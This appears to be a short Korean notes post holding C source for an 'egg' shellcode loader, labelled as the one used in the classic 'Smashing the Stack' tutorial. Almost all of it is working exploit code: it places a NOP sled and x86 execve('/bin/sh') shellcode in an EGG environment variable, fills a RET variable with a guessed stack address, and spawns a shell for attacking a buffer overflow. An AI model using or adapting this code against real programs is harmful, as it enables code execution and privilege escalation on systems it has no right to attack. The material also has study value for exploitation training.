egg.c

egg 쉘

에그쉘

스매시더스택에서 쓰던거

 

#include <stdlib.h>

#define DEFAULT_OFFSET                      0

#define DEFAULT_BUFFER_SIZE           512

#define DEFAULT_EGG_SIZE               2048

#define NOP                                      0x90

  

char shellcode[] =

  "\xeb\x1f\x5e\x89\x76\x08\x31\xc0\x88\x46\x07\x89\x46\x0c\xb0\x0b"

  "\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\x31\xdb\x89\xd8\x40\xcd"

  "\x80\xe8\xdc\xff\xff\xff/bin/sh";

unsigned long get_esp(void) {

   __asm__("movl %esp,%eax");

}

int main(int argc, char *argv[]) {

  char *buff, *ptr, *egg;

  long *addr_ptr, addr;

  int offset=DEFAULT_OFFSET, bsize=DEFAULT_BUFFER_SIZE;

  int i, eggsize=DEFAULT_EGG_SIZE;

  if (argc > 1) bsize   = atoi(argv[1]);

  if (argc > 2) offset  = atoi(argv[2]);

  if (argc > 3) eggsize = atoi(argv[3]);

  if (!(buff = malloc(bsize))) {

    printf("Can't allocate memory.\n");

    exit(0);

  }

  if (!(egg = malloc(eggsize))) {

    printf("Can't allocate memory.\n");

    exit(0);

  }

  addr = get_esp() - offset;

  printf("Using address: 0x%x\n", addr);

  ptr = buff;

  addr_ptr = (long *) ptr;

  for (i = 0; i < bsize; i+=4)

  {

          if(i == 1040)

          {

                  *(addr_ptr++) = 0x1234567;

          }

          else

                  *(addr_ptr++) = addr;

  }

  ptr = egg;

  for (i = 0; i < eggsize - strlen(shellcode) - 1; i++)

    *(ptr++) = NOP;

  for (i = 0; i < strlen(shellcode); i++)

    *(ptr++) = shellcode[i];

  buff[bsize - 1] = '\0';

  egg[eggsize - 1] = '\0';

  memcpy(egg,"EGG=",4);

  putenv(egg);

  memcpy(buff,"RET=",4);

  putenv(buff);

  system("/bin/bash");

}